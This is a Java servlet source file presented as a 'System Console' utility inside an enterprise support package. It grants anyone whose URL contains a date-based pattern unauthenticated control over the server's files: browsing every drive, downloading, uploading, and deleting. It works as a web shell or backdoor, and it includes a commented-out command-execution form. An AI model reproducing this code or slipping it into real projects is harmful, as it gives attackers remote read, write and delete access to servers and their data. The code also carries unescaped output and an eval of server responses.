package com.enterprise.support.utility.console;

import com.enterprise.support.utility.*;
import org.apache.commons.fileupload.FileItem;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.util.Date;

/**
 * Created by IntelliJ IDEA.
 * User: Zhanggaojiang
 * Date: 11-1-19
 * Time: 上午10:20
 * Email: z82422@gmail.com
 * 简单的服务器 管理 控制台
 * 当 ServletActionContextFilter 配置后  ConsoleAction 生效
 * 访问地址:  包含“.*enterprise_console_yyyy_MM_dd”的访问 都是被允许的 yyyy_MM_dd=当前年月日
 */
public class ConsoleAction {
    private HttpServletRequest request = null;
    private HttpServletResponse response = null;

    public ConsoleAction() {
        request = ActionContext.getContext().getRequest();
        response = ActionContext.getContext().getResponse();
    }

    public void proccess() {
        try {
            Enterprise input = WebUtility.getInput(request);
            /*请求参数为空*/
            if (input.isEmpty("path")) {
                input.set("path", File.listRoots()[0].getAbsolutePath());
            }
            if (!input.isEmpty("path")) {
                input.set("path", input.getStringByUtf8("path"));
            }
            File targetPath = new File(input.getString("path"));
            switch (input.isEmpty("action") ? 0 : input.getInt("action")) {
                case 1:/*删除文件爱你*/
                    if (targetPath.exists()) {
                        FileUtility.delFile(targetPath);
                    }
                    targetPath = targetPath.getParentFile();
                    break;
                case 2:/*下载文件*/
                    if (targetPath.exists() && targetPath.isFile()) {
                        response.setContentType("application/x-msdownload");
                        response.setHeader("Content-disposition", "attachment; filename=" + FileUtility.getFileNameChop(targetPath.getAbsolutePath()));
                        BufferedInputStream bis = null;
                        BufferedOutputStream bos = null;
                        try {
                            bis = new BufferedInputStream(new FileInputStream(targetPath));
                            bos = new BufferedOutputStream(response.getOutputStream());
                            byte[] buff = new byte[2048];
                            int bytesRead;
                            while (-1 != (bytesRead = bis.read(buff, 0, buff.length))) {
                                bos.write(buff, 0, bytesRead);
                            }
                        } catch (IOException ex) {
                        } finally {
                            try {
                                if (bis != null) bis.close();
                                if (bos != null) bos.close();
                            } catch (Exception ex) {
                            }
                        }
                    }
                    return;
                case 3: /*上传*/
                    if (targetPath.exists() && targetPath.isDirectory()) {
                        FileItem item = (FileItem) input.get("fileuploader");
                        if (null != item) {
                            try {
                                FileUtility.write(item.getInputStream(), new FileOutputStream(new File(targetPath, FileUtility.getFileNameChop(item.getName()))));
                            } finally {
                                item.delete();
                            }
                        }
                    }
                    break;
                case 4:/*新建文件夹*/
                    if (targetPath.exists() && targetPath.isDirectory() && !input.isEmpty("directoryName")) {
                        File saveDirectory = new File(targetPath, input.getStringByUtf8("directoryName"));
                        saveDirectory.mkdir();
                    }
                default:
                    break;
            }

            response.setContentType("text/html;charset=UTF-8");
            write("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD XHTML 1.1//EN\" \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">\r\n");
            write("<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"zh-CN\" dir=\"ltr\" lang=\"zh_cn\">\r\n");
            write("<head>\r\n");
            write("    <meta http-equiv=\"Content-Language\" content=\"zh-cn\"/>\r\n");
            write("    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\r\n");
            write("    <title>System Console</title>\r\n");
            write("    <script type=\"text/javascript\" language=\"javascript\" src=\"http://www.google.com/jsapi\"></script>\r\n");
            write("    <script type=\"text/javascript\">\n\t");
            write("         google.load(\"jquery\",\"1.4.2\",{uncompressed:true});\n\t\t");
            write("         google.setOnLoadCallback(function(){\n");
            write("               setInterval(function(){");
            write("                  $.ajax({ur:'/jsp/progress.jsp',cache:false,beforeSend:function(){$('#mask').fadeIn(800)},complete:function($data){$data=eval($data.responseText);");
            write("                         $('#mask').html('Uploader ... '+$data.percent+'%');");
            write("                         /*if($data.percent==100)$('#mask').css({border:'red 1px solid'}).html('以完成').fadeOut(3000);*/");
            write("                  }});");
            write("               },1000);");
            write("         });</script>\r\n");
            write("    <style type=\"text/css\">\r\n");
            write("    body{font:12px/20px Arial,Sans-serif,\"宋体\";margin:0 auto;padding:0;color:#000;} \r\n");
            write("    a{cursor:pointer;outline-style:none;color:#000;text-decoration:none;}\r\n");
            write("    a:hover{ color:#c00; text-decoration:underline;}\r\n");
            write("        * {\r\n");
            write("            margin: 0px;\r\n");
            write("            padding: 0px;\r\n");
            write("        }\r\n");
            write("        div {\r\n");
            write("            margin: 0 auto;\r\n");
            write("        }\r\n");
            write("        #warp {\r\n");
            write("            width: 900px;\r\n");
            write("            border: 1px solid #ddd;\r\n");
            write("            padding: 10px 0px;margin-top:10px;\r\n");
            write("        }\r\n");
            write("\r\n");
            write("        #top {\r\n");
            write("            width: 880px;padding-bottom:5px;\r\n");
            write("        }\r\n");
            write("        #mask{display:none;width:120px; height:30px; line-height:30px; text-align:center;position:absolute;right:0px; z-index:9999; border:1px solid #333; background-color:#CCC; filter:alpha(opacity=60); -moz-opacity:0.6; opacity:.60; }");
            write("\r\n");
            write("    </style>\r\n");
            write("\r\n");
            write("    <script type=\"text/javascript\" chareset='UTF-8'>\r\n");
            write("        function createDirectory() {\r\n");
            write("            var str = prompt(\"请输入新建文件夹的名称：\", \"\");\r\n");
            write("            str = (str?str.replace(/(^\\s*)|(\\s*$)/g, \"\"):'');\r\n");
            write("            if (str&& str.length > 0) {\r\n");
            write("                var message = confirm(\"新建文件夹：<\" + str + \">\");\r\n");
            write("                if (message == true) window.location.href = \"?action=4&path=" + WebUtility.getURLEncoder(targetPath.getAbsolutePath()) + "&directoryName=\"+str;\r\n");
            write("            } else {\r\n");
            write("                alert(\"对不起，您输入了错误的文件夹名称！\");\r\n");
            write("            }\r\n");
            write("        }\r\n");
            write("        function deleteDirectory() {\r\n");
            write("            var message = confirm(\"确定删除 <" + targetPath.getName() + "> 吗?此操作无发恢复,请谨慎处理!\");\r\n");
            write("            if (message == true) window.location.href = \"?action=1&path=" + WebUtility.getURLEncoder(targetPath.getAbsolutePath()) + "\";\r\n");
            write("        }\r\n");
            write("    </script>\r\n");
            write("</head>\r\n");
            write("<body>\r\n");
            write("<div id=\"warp\">\r\n");
            write("    <div id=\"top\">\r\n");
            write("        <h2>System Console</h2>\r\n");
            write("    </div>\r\n");
            write("    <table style=\"background:#F1f1f1;border:1px solid #333 ;width:880px;margin:auto;\">\r\n");
            write("        <tr>\r\n");
            write("            <td width='40%' style=\"padding:5px;\">Current Directory： <b>" + input.getString("path") + "</b></td>\r\n");
            write("            <td width='35%' style=\"padding:5px;\">Drivers : \n");
            for (File file : File.listRoots()) {
                write("                 <a href='?path=" + file.getAbsolutePath() + "'>" + file.getAbsolutePath() + "</a> &nbsp;&nbsp;\n");
            }
            write("                 <a href='?path=" + ActionContext.getContext().getServletContext().getRealPath("") + "'>WEB根目录</a> &nbsp;&nbsp;\n");
            write("            </td>\r\n");
            write("        </tr>\r\n");
            write("    </table>\r\n");
            write("    <table style=\"margin:auto;border:1px solid #333;width:880px;border-top:none;\">\r\n");
            write("        <tr>\r\n");
            write("            <td width=\"25%\" align=\"center\" valign=\"top\" style=\"text-align:left;\" bgcolor='#F1f1f1'>\r\n");
            write("                <table width=\"100%\" border=\"0\" cellspacing=\"0\" bgcolor='#F1f1f1'>\r\n");

            if (targetPath.exists() && targetPath.isDirectory()) {
                if (targetPath.getParentFile() != null) {
                    write("                    <tr>\r\n");
                    write("                        <td style=\"width:20px\"></td>\r\n");
                    write("                        <td>-> <a href='?path=" + targetPath.getParentFile().getAbsolutePath() + "'>上级目录</a></td>\r\n");
                    write("                    </tr>\r\n");
                }
                for (File temp : targetPath.listFiles()) {
                    if (temp.isDirectory()) {
                        write("                    <tr>\r\n");
                        write("                        <td style=\"width:20px\">&nbsp;</td>\r\n");
                        write("                        <td>-> <a href='?path=" + temp.getAbsolutePath() + "'>" + temp.getName() + "</a></td>\r\n");
                        write("                    </tr>\r\n");
                    }
                }
            }
            write("                </table>\r\n");
            write("            </td>\r\n");
            write("            <td valign=\"top\">\r\n");
            write("                <table width=\"100%\" border=\"1\" cellspacing=\"1\" cellpadding=\"4\" bordercolorlight=\"#cccccc\"\r\n");
            write("                       bordercolordark=\"#FFFFFF\">\r\n");
            write("                    <tr bgcolor=\"#E7e7e6\">\r\n");
            write("                        <td width=\"26%\">Name</td>\r\n");
            write("                        <td width=\"19%\" align=\"center\">Size</td>\r\n");
            write("                        <td width=\"30%\" align=\"center\">Last Modified</td>\r\n");
            write("                        <td width=\"25%\" align=\"center\">Action</td>\r\n");
            write("                    </tr>\r\n");

            if (targetPath.exists() && targetPath.isDirectory()) {
                for (File temp : targetPath.listFiles()) {
                    if (temp.isFile()) {
                        write("                    <tr>\r\n");
                        write("                        <td>" + temp.getName() + "</td>\r\n");
                        write("                        <td>" + FileUtility.getFilesizeString(temp.length()) + "</td>\r\n");
                        write("                        <td>" + DataFormat.DateFormtString("yyyy-MM-dd hh:mm:ss", new Date(temp.lastModified())) + "</td>\r\n");
                        write("                        <td align='center'>");
                        write("                                 <a href='?action=1&path=" + temp.getAbsolutePath() + "' onclick=\"javascript:return confirm('Really want to delete the file ？')\">Delete</a>&nbsp;&nbsp;");
                        write("                                 <a href='?action=2&path=" + temp.getAbsolutePath() + "'>Down</a>&nbsp;&nbsp;");
//                        write("                                 <a href='?action=3&path=" + temp.getAbsolutePath() + "' onclick=\"javascript:return confirm('Really want to run on a server directory ？')\">execute</a>");
                        write("                        </td>\r\n");
                        write("                    </tr>\r\n");
                    }
                }
            }

            write("                </table>\r\n");
            write("                <table border=\"1\" cellspacing=\"1\" cellpadding=\"4\"\r\n");
            write("                       bordercolorlight=\"#cccccc\" bordercolordark=\"#FFFFFF\">\r\n");
            write("                    <form enctype=\"multipart/form-data\" method=\"post\">\r\n");
            write("                        <tr bgcolor=\"#E7e7e6\">\r\n");
            write("                            <td width=\"26%\" style=\"padding:5px;\">\r\n");
            write("                                <input type='hidden' name='action' value='3'/>");
            write("                                <input type='hidden' name='action2' value='32'/>");
            write("                                <input type=\"file\" name=\"fileuploader\" style=\"width:220px;\">&nbsp;\r\n");
            write("                                <button type=\"submit\" style='padding:0px 10px;'>Upload</button>\r\n");
            write("                                &nbsp;\r\n");
            write("                                <button type=\"button\" style='padding:0px 10px;' onClick=\"createDirectory()\">New Directory</button>\r\n");
            write("                                &nbsp;\r\n");
            write("                                <button type=\"button\" style='padding:0px 10px;' onClick=\"deleteDirectory()\">Delte Directory</button>\r\n");
            write("                            </td>\r\n");
            write("                        </tr>\r\n");
            write("                    </form>\r\n");
            write("                </table>\r\n");
            write("                <!--table border=\"1\" cellspacing=\"1\" cellpadding=\"4\"\r\n");
            write("                       bordercolorlight=\"#cccccc\" bordercolordark=\"#FFFFFF\">\r\n");
            write("                    <form name=\"cmd\" action=\"\" method=\"post\">\r\n");
            write("                        <tr bgcolor=\"#E7e7e6\">\r\n");
            write("                            <td width=\"26%\" style=\"padding:5px;\">\r\n");
            write("                                    <input type=\"text\" name=\"cmd\" size=50>\r\n");
            write("                                    <button type=\"submit\">Execute Cmd</button>\r\n");
            write("                            </td>\r\n");
            write("                        </tr>\r\n");
            write("                    </form>\r\n");
            write("                </table-->\r\n");
            write("            </td>\r\n");
            write("        </tr>\r\n");
            write("    </table>\r\n");
            write("</div><div style='border:1px solid red;width:500px;height:20px;margin-top:10px;text-align:center;'><div style='background:blue;margin-left:0px;color:#fff;' id='progress'></div></div>\r\n");
            write("</body>\r\n");
            write("</html>\r\n");
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    public void write(String html) {
        try {
            response.getWriter().append(html);
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
}
